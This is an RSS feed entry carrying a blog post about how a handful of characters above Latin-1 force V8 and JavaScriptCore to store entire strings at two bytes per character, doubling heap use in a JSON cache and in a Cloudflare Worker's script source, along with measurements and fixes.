<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Kevin Cui&apos;s Blog</title><description>Kevin Cui&apos;s Blog</description><link>https://bugs.cc/</link><language>en-US</language><copyright>Kevin Cui (CC BY 4.0)</copyright><managingEditor>bh@bugs.cc (Kevin Cui)</managingEditor><webMaster>bh@bugs.cc (Kevin Cui)</webMaster><atom:link href="https://bugs.cc/index.xml" rel="self" type="application/rss+xml"/><follow_challenge><feedId>67444163872609280</feedId><userId>67028119038586880</userId></follow_challenge><item><title>A 6.47 MB JS String Occupied 15.4 MB of Memory</title><link>https://bugs.cc/posts/one-character-doubles-js-string-memory/</link><guid isPermaLink="true">https://bugs.cc/posts/one-character-doubles-js-string-memory/</guid><description>open-connector is an open-source project we work on. It wraps 1,464 third-party APIs (Slack, GitHub, Feishu, and others) behind a single action interface.…</description><pubDate>Fri, 04 Sep 2026 11:30:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/oomol-lab/open-connector&quot;&gt;open-connector&lt;/a&gt; is an open-source project we work on. It wraps 1,464 third-party APIs (Slack, GitHub, Feishu, and others) behind a single action interface. Each third party is a provider. Which actions it has, and the JSON Schema for each action’s input and output, live in a JSON file. Those files are the catalog. The service loads them into memory at startup.&lt;/p&gt;
&lt;p&gt;We were recently cutting resident memory on its Bun single-file binary, taking RSS after startup from 378 MiB down to 293 MiB (&lt;a href=&quot;https://github.com/oomol-lab/open-connector/pull/490&quot;&gt;open-connector#490&lt;/a&gt;). The heap’s largest single object turned out to be a JSON string: 6,471,221 characters, 6.47 MB as UTF-8, but 15.4 MB in JavaScriptCore’s heap. The reason was that 49 of those 6.47 million characters sit outside Latin-1.&lt;/p&gt;
&lt;p&gt;I then looked at the Cloudflare Workers heap. Same cause: two characters made a 14.5 MB script occupy 27.6 MiB. Writing it down.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Environment:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;macOS arm64&lt;/li&gt;
&lt;li&gt;Bun 1.4.0 (JavaScriptCore)&lt;/li&gt;
&lt;li&gt;Node 26.7.0 (V8)&lt;/li&gt;
&lt;li&gt;esbuild 0.28.x, wrangler 4.127.1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The symptom&lt;/h2&gt;
&lt;p&gt;At startup the service &lt;code&gt;JSON.stringify&lt;/code&gt;s a summary of every provider in the catalog (name, description, the list of actions, no schemas) and caches that string as the &lt;code&gt;/api/providers&lt;/code&gt; response body. Every later request sends it as-is. That string is &lt;code&gt;providerSummariesJson&lt;/code&gt;, 6,471,221 characters.&lt;/p&gt;
&lt;p&gt;While looking at memory I used &lt;code&gt;heapStats()&lt;/code&gt; from &lt;code&gt;bun:jsc&lt;/code&gt; to compare the heap before and after loading the catalog, then nulled this string on its own. That confirmed it accounted for 15.4 MB by itself.&lt;/p&gt;
&lt;p&gt;The catalog can be loaded two ways. By default, every provider’s JSON Schema is read into memory at startup. It can also keep only names, descriptions, and action lists, and read a schema from its file the first time some action actually needs it. In that second mode the whole JS heap is 26.4 MiB, and this one string is more than half of it.&lt;/p&gt;
&lt;p&gt;6.47 MB of text occupying 15.4 MB is roughly 2x. Scan the string for code points above U+00FF:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const tally = new Map();
for (const ch of text) {
  if (ch.codePointAt(0) &amp;gt; 0xff) tally.set(ch, (tally.get(ch) ?? 0) + 1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;chars: 6471221, non-Latin-1 code points: 49
U+2014 &quot;—&quot; x13
U+2022 &quot;•&quot; x12
U+2192 &quot;→&quot; x3
U+8868 &quot;表&quot; x2
U+5E7F &quot;广&quot; x2
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;49 characters: 13 em dashes, 12 bullets, 3 arrows, and 21 CJK characters from a few providers whose descriptions are in Chinese. Those 49 come from 17 provider files. The other 1,447 files are pure ASCII. Those 49 characters made every character in the string occupy two bytes.&lt;/p&gt;
&lt;h2&gt;Why two bytes&lt;/h2&gt;
&lt;p&gt;The ECMAScript spec says a string is a sequence of 16-bit code units. Engines do not actually store two bytes per character. V8 has &lt;code&gt;SeqOneByteString&lt;/code&gt; and &lt;code&gt;SeqTwoByteString&lt;/code&gt;. JavaScriptCore’s &lt;code&gt;StringImpl&lt;/code&gt; has an &lt;code&gt;is8Bit()&lt;/code&gt; 8-bit form and a 16-bit form. The rule is the same: if every character in the string is at most U+00FF, store one byte per character. If any character is above that, store the whole string two bytes per character. In V8’s source that ceiling is &lt;code&gt;kMaxOneByteCharCode = 0xFF&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The ceiling is Latin-1, not ASCII. &lt;code&gt;é&lt;/code&gt; (U+00E9) is not ASCII, but its code point is still at most U+00FF, so it stays one byte. What actually forces the whole string to two bytes is anything above U+00FF: an em dash (U+2014), a bullet (U+2022), an arrow (U+2192), CJK, emoji. Mix one CJK character into 6.47 million others and the whole string doubles.&lt;/p&gt;
&lt;p&gt;A script to check. Eight million ASCII characters, then one &lt;code&gt;é&lt;/code&gt; or one &lt;code&gt;中&lt;/code&gt; on the end, and see how much the heap grows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;
function heap() {
  globalThis.gc();
  globalThis.gc();
  return v8.getHeapStatistics().used_heap_size;
}

function build(extra) {
  const s = &quot;abcdefgh&quot;.repeat(1_000_000) + extra;
  s.charCodeAt(s.length - 1); // flatten the rope, see below // [!code highlight]
  return s;
}

const base = heap();
const ascii = build(&quot;&quot;);
const h1 = heap();
const latin = build(&quot;é&quot;);
const h2 = heap();
const cjk = build(&quot;中&quot;);
const h3 = heap();
console.log(`8,000,000 x ASCII        : heap +${((h1 - base) / 1048576).toFixed(1)} MiB`);
console.log(`same + one &quot;é&quot; (U+00E9)  : heap +${((h2 - h1) / 1048576).toFixed(1)} MiB`);
console.log(`same + one &quot;中&quot; (U+4E2D) : heap +${((h3 - h2) / 1048576).toFixed(1)} MiB`);
globalThis.keep = [ascii, latin, cjk];
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ node --expose-gc demo.mjs
8,000,000 x ASCII        : heap +7.6 MiB
same + one &quot;é&quot; (U+00E9)  : heap +7.6 MiB
same + one &quot;中&quot; (U+4E2D) : heap +15.3 MiB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Swap &lt;code&gt;heap()&lt;/code&gt; for &lt;code&gt;Bun.gc(true)&lt;/code&gt; plus &lt;code&gt;process.memoryUsage().heapUsed&lt;/code&gt; and Bun 1.4.0 prints the same three numbers: 7.6, 7.6, 15.3. Both engines agree.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/one-character-doubles-js-string-memory/string-memory.png&quot; alt=&quot;Paste text to see characters above Latin-1 and the estimated heap size&quot;&gt;&lt;/p&gt;
&lt;p&gt;Characters above Latin-1 are marked in red.&lt;/p&gt;
&lt;p&gt;V8 can also print the type:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ node --allow-natives-syntax -e &apos;%DebugPrint(&quot;abc&quot; + &quot;é&quot;); %DebugPrint(&quot;abc&quot; + &quot;中&quot;)&apos;
DebugPrint: 0xd0faee56981: [String] in OldSpace: &quot;abc\xe9&quot;
 - type: SEQ_ONE_BYTE_STRING_TYPE
DebugPrint: 0xd0faee56999: [String] in OldSpace: u&quot;abc\u4e2d&quot;
 - type: SEQ_TWO_BYTE_STRING_TYPE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;charCodeAt&lt;/code&gt; in the script is required. &lt;code&gt;a + b&lt;/code&gt; does not copy immediately in either engine. It builds a rope (V8 calls it &lt;code&gt;ConsString&lt;/code&gt;, JSC calls it &lt;code&gt;JSRopeString&lt;/code&gt;), and each half keeps its original representation. The eight million ASCII characters are still one-byte at that point. Index it, run a regexp, call &lt;code&gt;indexOf&lt;/code&gt;, or write it as an HTTP response body, and the engine flattens the rope into a contiguous buffer. That is when the widest character decides the width of the whole thing. Without that line, all three numbers are 7.6.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%DebugPrint&lt;/code&gt; can show the rope itself:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ node --allow-natives-syntax -e &apos;const s = &quot;abcdefgh&quot;.repeat(4) + &quot;中&quot;; %DebugPrint(s)&apos;
DebugPrint: 0x1be004ae841: [String]: uc&quot;abcdefghabcdefghabcdefghabcdefgh\u4e2d&quot;
 - type: CONS_TWO_BYTE_STRING_TYPE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;c&lt;/code&gt; in the prefix means cons. The moment of concatenation, V8 already tags this rope as two-byte, because the right half is two-byte. The ASCII characters on the left still sit in their original one-byte buffer. The actual recopy at two bytes happens when the rope is flattened.&lt;/p&gt;
&lt;p&gt;Both engines’ rules are in the source. V8’s &lt;code&gt;String&lt;/code&gt; class comments restate the spec, then give the one-byte ceiling and the two sequential character types (&lt;a href=&quot;https://github.com/v8/v8/blob/main/src/objects/string.h&quot;&gt;string.h&lt;/a&gt;, &lt;a href=&quot;https://github.com/v8/v8/blob/main/src/strings/unicode.h&quot;&gt;unicode.h&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// The String abstract class captures JavaScript string values:
//
// Ecma-262:
//  4.3.16 String Value
//    A string value is a member of the type String and is a finite
//    ordered sequence of zero or more 16-bit unsigned integer values.
V8_OBJECT class String : public Name {
  // ...
  // Max char codes.
  static const int32_t kMaxOneByteCharCode = unibrow::Latin1::kMaxChar; // [!code highlight]
  static const int kMaxUtf16CodeUnit = 0xffff;
};

V8_OBJECT class SeqOneByteString : public SeqString {
  static const bool kHasOneByteEncoding = true;
  using Char = uint8_t; // [!code highlight]
};

V8_OBJECT class SeqTwoByteString : public SeqString {
  static const bool kHasOneByteEncoding = false;
  using Char = uint16_t; // [!code highlight]
};
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;class Latin1 {
 public:
  static const uint16_t kMaxChar = 0xff;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In WebKit, one &lt;code&gt;StringImpl&lt;/code&gt; carries a flag, and the data pointer is a union. A given string is only one of the two at a time (&lt;a href=&quot;https://github.com/WebKit/WebKit/blob/main/Source/WTF/wtf/text/StringImpl.h&quot;&gt;StringImpl.h&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;static constexpr const unsigned s_hashFlag8BitBuffer = 1u &amp;lt;&amp;lt; 2;
// ...
bool is8Bit() const { return m_hashAndFlags &amp;amp; s_hashFlag8BitBuffer; } // [!code highlight]
// ...
std::atomic&amp;lt;uint32_t&amp;gt; m_refCount;
unsigned m_length;
union { // [!code highlight:4]
    const Latin1Character* m_data8;
    const char16_t* m_data16;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;JSON.stringify&lt;/code&gt; does not escape non-ASCII. It only escapes quotes, backslashes, control characters, and lone surrogates. So if the JSON contains a Chinese description, the entire &lt;code&gt;JSON.stringify&lt;/code&gt; result is two-byte, whether or not the rest is ASCII.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;JSON.parse&lt;/code&gt; is not affected. Each string value it produces is its own string and picks a representation on its own:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ node --allow-natives-syntax -e &apos;const o = JSON.parse(`{&quot;a&quot;:&quot;abcdefghabcdefgh&quot;,&quot;b&quot;:&quot;abcdefghabcdefgh中&quot;}`); %DebugPrint(o.a); %DebugPrint(o.b)&apos;
DebugPrint: 0x19f36672e771: [String]: &quot;abcdefghabcdefgh&quot;
 - type: SEQ_ONE_BYTE_STRING_TYPE
DebugPrint: 0x19f36672e791: [String]: u&quot;abcdefghabcdefgh\u4e2d&quot;
 - type: SEQ_TWO_BYTE_STRING_TYPE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So after the catalog is parsed into objects, only the description fields on those 17 providers that contain CJK or em dashes are two-byte. Everything else stays one-byte. The doubling happens only on the serialized blob.&lt;/p&gt;
&lt;h2&gt;The fix&lt;/h2&gt;
&lt;p&gt;This string has one job: go out as an HTTP response body, unchanged. It has to become UTF-8 bytes on the way out anyway, so encode it at startup and keep a &lt;code&gt;Uint8Array&lt;/code&gt; on the heap:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;return {
  providerSummariesJson,
  // TextEncoder rather than Buffer: the Cloudflare Workers build shares this function.
  providerSummariesJson: new TextEncoder().encode(providerSummariesJson),
  providerSummariesEtag: weakEtag(providerSummariesJson),
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code&gt;Uint8Array&lt;/code&gt; lives in an &lt;code&gt;ArrayBuffer&lt;/code&gt;. Counted in bytes, 6.47 MB is 6.47 MB.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/api/providers&lt;/code&gt; sends an ETag. Browsers and CDNs use it to decide whether a cached copy is still valid. The value is a hash of the JSON string, over UTF-16 code units, not UTF-8 bytes. Hash the bytes instead and every client that already cached this endpoint will treat the body as new and pull 6.47 MB again. So the hash still runs on the string, and the string can be dropped afterwards. Before the change the ETag was &lt;code&gt;W/&quot;62be35-aa331d99&quot;&lt;/code&gt;. After the change it is still that value, and the response body is byte-for-byte identical.&lt;/p&gt;
&lt;p&gt;The result: with only names, descriptions, and action lists kept in memory, the JSC heap went from 26.4 MiB to 17.2 MiB. The default path, which also keeps schemas in memory, went from 74.7 MiB to 65.5 MiB. On macOS, though, &lt;code&gt;ps&lt;/code&gt; still reported the same RSS. Bun’s allocator is mimalloc, which does not return freed pages to the OS right away, so the number &lt;code&gt;ps&lt;/code&gt; shows does not drop with them.&lt;/p&gt;
&lt;p&gt;If you have to keep a string, another option is to write the non-ASCII characters as &lt;code&gt;\uXXXX&lt;/code&gt; in the JSON text. That is still valid JSON, the parsed values do not change, the 49 characters cost five extra characters each, and the whole string goes back to one byte. I tried it on this catalog (the string had grown to 6,472,664 characters) and hit a snag:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const escaped = json.replace(/[\u0100-\uffff]/g, (c) =&amp;gt; &quot;\\u&quot; + c.charCodeAt(0).toString(16).padStart(4, &quot;0&quot;));
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;json                                 : 6,472,664 chars, heap +12.34 MiB, SEQ_TWO_BYTE_STRING_TYPE
escaped = json.replace(...)          : 6,472,909 chars, heap +12.35 MiB, SEQ_TWO_BYTE_STRING_TYPE
JSON.parse(JSON.stringify(escaped))  : 6,472,909 chars, heap  +6.17 MiB, SEQ_ONE_BYTE_STRING_TYPE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After escaping there is no code point above U+00FF left, but the result of &lt;code&gt;replace()&lt;/code&gt; is still two-byte. Both engines explain why. V8’s &lt;code&gt;replace&lt;/code&gt; with a callback goes through &lt;code&gt;Runtime_RegExpReplaceRT&lt;/code&gt;. The result is built from substrings of the original and each replacement (&lt;a href=&quot;https://github.com/v8/v8/blob/main/src/runtime/runtime-regexp.cc&quot;&gt;runtime-regexp.cc&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {
  // ...
  const bool functional_replace = IsCallable(*replace_obj);
  // ...
  IncrementalStringBuilder builder(isolate);
  // ...
    if (position &amp;gt;= next_source_position) {
      builder.AppendString( // [!code highlight:3]
          factory-&amp;gt;NewSubString(string, next_source_position, position));
      builder.AppendString(replacement);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;NewSubString&lt;/code&gt; taken from a two-byte &lt;code&gt;string&lt;/code&gt; is still two-byte. It keeps the parent’s representation and does not look at the contents. Once &lt;code&gt;IncrementalStringBuilder&lt;/code&gt; has appended a two-byte piece it switches to two-byte and never switches back. If the subject is two-byte, the result is two-byte.&lt;/p&gt;
&lt;p&gt;JSC’s &lt;code&gt;replace&lt;/code&gt; always ends in &lt;code&gt;jsSpliceSubstringsWithSeparators&lt;/code&gt;. It only looks at the source string’s flag and each replacement’s flag (&lt;a href=&quot;https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/runtime/StringPrototypeInlines.h&quot;&gt;StringPrototypeInlines.h&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;bool allSeparators8Bit = true;
for (int i = 0; i &amp;lt; separatorCount; i++) {
    totalLength += separators[i].length();
    if (separators[i].length() &amp;amp;&amp;amp; !separators[i].is8Bit())
        allSeparators8Bit = false;
}
// ...
if (source.is8Bit() &amp;amp;&amp;amp; allSeparators8Bit) { // [!code highlight]
    std::span&amp;lt;Latin1Character&amp;gt; buffer;
    auto impl = StringImpl::tryCreateUninitialized(totalLength, buffer);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;source.is8Bit()&lt;/code&gt; is a flag set when the source string was created. The 49 characters that were replaced are gone from the result, but the flag is not, so the result still allocates a 16-bit buffer. Both engines do the same thing: a string derived from another string inherits its width. To make the engine pick a representation from the contents, you have to build a new string, for example &lt;code&gt;JSON.parse(JSON.stringify(escaped))&lt;/code&gt;, or encode to bytes and decode back. Then it is 6.17 MiB. Bun prints the same three numbers.&lt;/p&gt;
&lt;p&gt;We did not take this path. Storing bytes is more direct, and there is another reason: keeping a string means encoding it again on every response. &lt;code&gt;TextEncoder.encode()&lt;/code&gt; on 6.47 MB measured 3.1 ms on the macOS arm64 machine above. Bytes can be written straight to the socket.&lt;/p&gt;
&lt;p&gt;One more measurement pitfall. In Node, a large string from &lt;code&gt;TextDecoder.decode()&lt;/code&gt; is &lt;code&gt;EXTERNAL_TWO_BYTE_STRING_TYPE&lt;/code&gt;. The data sits outside the V8 heap. &lt;code&gt;v8.getHeapStatistics().used_heap_size&lt;/code&gt; does not see it. You have to look at &lt;code&gt;process.memoryUsage().external&lt;/code&gt;. The first time I measured it, heap growth was 0. I had just missed this.&lt;/p&gt;
&lt;h2&gt;Script source on Cloudflare Workers&lt;/h2&gt;
&lt;p&gt;The same open-connector codebase also runs on Cloudflare Workers. Each Worker script runs in a V8 isolate. The isolate heap is capped at 128 MB. Go over that and the whole isolate is torn down and rebuilt. After shrinking the binary I checked how much this side actually used: start the service with &lt;code&gt;wrangler dev&lt;/code&gt;, then send &lt;code&gt;Runtime.getHeapUsage&lt;/code&gt; and &lt;code&gt;HeapProfiler.takeHeapSnapshot&lt;/code&gt; over the inspector port.&lt;/p&gt;
&lt;p&gt;The production shape (&lt;code&gt;wrangler deploy --minify&lt;/code&gt;) sits at 88.7 MiB at steady state. The largest node in the snapshot is a 27.63 MiB string: the entire Worker script source. The script file itself is 14.5 MB.&lt;/p&gt;
&lt;p&gt;V8 keeps script source on the heap for as long as the isolate lives, because compilation is lazy. Load time only pre-parses. A function is compiled the first time it runs, and bytecode for functions that have not run in a while can be dropped and recompiled from source on the next call. So the source has to stay.&lt;/p&gt;
&lt;p&gt;Which representation the source uses when it enters the isolate is in workerd (the open-source Workers runtime), in &lt;a href=&quot;https://github.com/cloudflare/workerd/blob/main/src/workerd/jsg/modules-new.c++&quot;&gt;modules-new.c++&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// The source text of an ES module in the representation handed to V8 for
// compilation. V8 has no internal UTF-8 string representation — strings are
// either one-byte (Latin-1) or two-byte (UTF-16). Worker bundle sources arrive
// as UTF-8 bytes, so each module&apos;s source is encoded once, lazily, on first
// compile, and the result is shared by every isolate that compiles the module:
//
//  * Pure-ASCII source (the overwhelmingly common case — bundlers typically
//    escape non-ASCII): the original buffer directly backs a one-byte external
//    string. Zero copies.
//  * Non-ASCII source whose code points all fit in Latin-1: transcoded once to
//    a one-byte buffer, matching the representation V8 itself would choose for
//    the same text.
//  * Anything else (CJK, emoji, ...): transcoded once to UTF-16.
// ...
EncodedSource transcodeSource(kj::ArrayPtr&amp;lt;const char&amp;gt; source) {
  if (simdutf::validate_utf8(source.begin(), source.size())) {
    // Valid UTF-8. Prefer the half-size Latin-1 representation when every code
    // point permits it. The buffer is sized exactly, so with already-validated
    // input a zero return can only mean some code point exceeds U+00FF.
    auto latin1 =
        kj::heapArray&amp;lt;char&amp;gt;(simdutf::latin1_length_from_utf8(source.begin(), source.size()));
    if (simdutf::convert_utf8_to_latin1(source.begin(), source.size(), latin1.begin()) != 0) { // [!code highlight]
      return {.repr = kj::arc&amp;lt;OwnedAscii&amp;gt;(kj::mv(latin1))};
    }

    auto utf16 =
        kj::heapArray&amp;lt;uint16_t&amp;gt;(simdutf::utf16_length_from_utf8(source.begin(), source.size()));
    // ...
    return {.repr = kj::arc&amp;lt;OwnedUtf16&amp;gt;(kj::mv(utf16))}; // [!code highlight]
  }
  // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The comment mentions that bundlers typically escape non-ASCII. The old module registry uses &lt;code&gt;v8::String::NewFromUtf8&lt;/code&gt;, with the same representation rule. 14,483,642 characters times 2 is exactly 27.63 MiB.&lt;/p&gt;
&lt;p&gt;Source does not have to be stored two-byte. Scan the 14.5 MB script and there are only two code points above U+00FF: a &lt;code&gt;✗&lt;/code&gt; (U+2717) and a &lt;code&gt;✓&lt;/code&gt; (U+2713), both in the regexes the Pi-hole provider uses to parse CLI output:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;function readGravityStatus(text: string): string | null {
  if (/\[✗\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
    return &quot;failed&quot;;
  }
  if (/\[✓\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
    return &quot;success&quot;;
  }
  return null;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The rest of the codebase is full of Chinese strings. Why only these two left? Because esbuild’s default &lt;a href=&quot;https://esbuild.github.io/api/#charset&quot;&gt;charset&lt;/a&gt; is &lt;code&gt;ascii&lt;/code&gt;. When it prints a string literal, characters above 0xFF become &lt;code&gt;\uXXXX&lt;/code&gt;, and 0x80 to 0xFF become &lt;code&gt;\xXX&lt;/code&gt;. A regexp literal in the printer is one &lt;code&gt;p.print(e.Value)&lt;/code&gt;, copied as-is (&lt;a href=&quot;https://github.com/evanw/esbuild/blob/main/internal/js_printer/js_printer.go&quot;&gt;js_printer.go&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Is this an unpaired low surrogate or four-digit hex escape?
case (c &amp;gt;= firstLowSurrogate &amp;amp;&amp;amp; c &amp;lt;= lastLowSurrogate) || (p.options.ASCIIOnly &amp;amp;&amp;amp; c &amp;gt; 0xFF): // [!code highlight]
	js = append(js, &apos;\\&apos;, &apos;u&apos;, hexChars[c&amp;gt;&amp;gt;12], hexChars[(c&amp;gt;&amp;gt;8)&amp;amp;15], hexChars[(c&amp;gt;&amp;gt;4)&amp;amp;15], hexChars[c&amp;amp;15])

// Can this be a two-digit hex escape?
case p.options.ASCIIOnly:
	js = append(js, &apos;\\&apos;, &apos;x&apos;, hexChars[c&amp;gt;&amp;gt;4], hexChars[c&amp;amp;15])
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;case *js_ast.ERegExp:
	// ...
	p.addSourceMapping(expr.Loc)
	p.print(e.Value) // [!code highlight]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The docs say the same: non-ASCII in regexes is not escaped, because esbuild does not parse regex contents. So:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const ok = &quot;[✓] done&quot;;
const re = /\[✓\]\s*done/;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// esbuild --minify
const o=&quot;[\u2713] done&quot;,e=/\[✓\]\s*done/;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those two characters made V8 store the entire 14.5 MB script two-byte, 27.63 MiB. So the regexes got handwritten escapes too (&lt;a href=&quot;https://github.com/oomol-lab/open-connector/pull/493&quot;&gt;open-connector#493&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;function readGravityStatus(text: string): string | null {
  if (/\[✗\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
  if (/\[\u2717\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
    return &quot;failed&quot;;
  }
  if (/\[✓\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
  if (/\[\u2713\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
    return &quot;success&quot;;
  }
  return null;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The regexes mean the same thing. The source text is pure ASCII again. Same machine, same build, measured before and after:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;isolate heap, before first request      : 40.56 MiB -&amp;gt; 26.74 MiB
isolate heap, steady state after full GC: 88.69 MiB -&amp;gt; 74.82 MiB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The 13.8 MiB saved is exactly the size of the script file. I also added a test that walks every regexp literal under &lt;code&gt;src/&lt;/code&gt; and reports file and line if it sees a character above U+00FF. If anyone puts an arrow in a regex literal again, CI fails first.&lt;/p&gt;
&lt;p&gt;Two more notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The Bun single-file binary mentioned earlier ships 30 MB of JS and does not have this problem. When the target is &lt;code&gt;bun&lt;/code&gt;, Bun’s bundler escapes all non-ASCII, including inside regexp literals, and the output is pure ASCII. Point the same file at &lt;code&gt;browser&lt;/code&gt; or &lt;code&gt;node&lt;/code&gt; and it is copied as-is, like esbuild:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ bun build --minify --target=bun in.js
var o=&quot;[\u2713] done&quot;,e=/\[\u2713\]\s*done/;export{o as ok,e as re};
$ bun build --minify --target=browser in.js
var o=&quot;[✓] done&quot;,e=/\[✓\]\s*done/;export{o as ok,e as re};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So in the binary, the thing that doubled was a data string. On Workers, it was the source.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A &lt;code&gt;wrangler dev&lt;/code&gt; build without &lt;code&gt;--minify&lt;/code&gt; has 2,909 non-Latin-1 characters, most of them in comments, and the source string is 58 MiB. Measure Worker memory on the production shape. The dev numbers are not useful.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How to check&lt;/h2&gt;
&lt;p&gt;To see whether a string will be stored two-byte:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;/[^\u0000-\u00ff]/u.test(s);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On V8 you can print the type: &lt;code&gt;node --allow-natives-syntax&lt;/code&gt;, then &lt;code&gt;%DebugPrint(s)&lt;/code&gt;, and look for &lt;code&gt;SEQ_ONE_BYTE_STRING_TYPE&lt;/code&gt; or &lt;code&gt;SEQ_TWO_BYTE_STRING_TYPE&lt;/code&gt;. In a DevTools heap snapshot, if a string’s shallow size is about twice its length, it is two-byte.&lt;/p&gt;
&lt;p&gt;Places this shows up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Large JSON response bodies cached in memory. Anything with a Chinese description or an em dash is almost certainly two-byte.&lt;/li&gt;
&lt;li&gt;Runtimes that keep source on the heap, such as a Workers V8 isolate. Bundlers escape string literals. They do not escape regexes or comments.&lt;/li&gt;
&lt;li&gt;i18n catalogs, templates, Markdown, any large text that is non-ASCII by nature.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Two easy traps: operations that derive a new string from an old one, such as &lt;code&gt;replace()&lt;/code&gt; and &lt;code&gt;slice()&lt;/code&gt;, keep the old string’s width. After escaping you have to build a new string for the change to take. External strings from &lt;code&gt;TextDecoder&lt;/code&gt; are not in V8’s heap stats. Include &lt;code&gt;external&lt;/code&gt; when you look at the heap.&lt;/p&gt;
&lt;h2&gt;Closing&lt;/h2&gt;
&lt;p&gt;The catalog now stores a &lt;code&gt;Uint8Array&lt;/code&gt;. The Worker regexes are written with &lt;code&gt;\uXXXX&lt;/code&gt;. With only names, descriptions, and action lists kept in memory, the JSC heap went from 26.4 MiB to 17.2 MiB. The Worker isolate at steady state went from 88.7 MiB to 74.8 MiB.&lt;/p&gt;
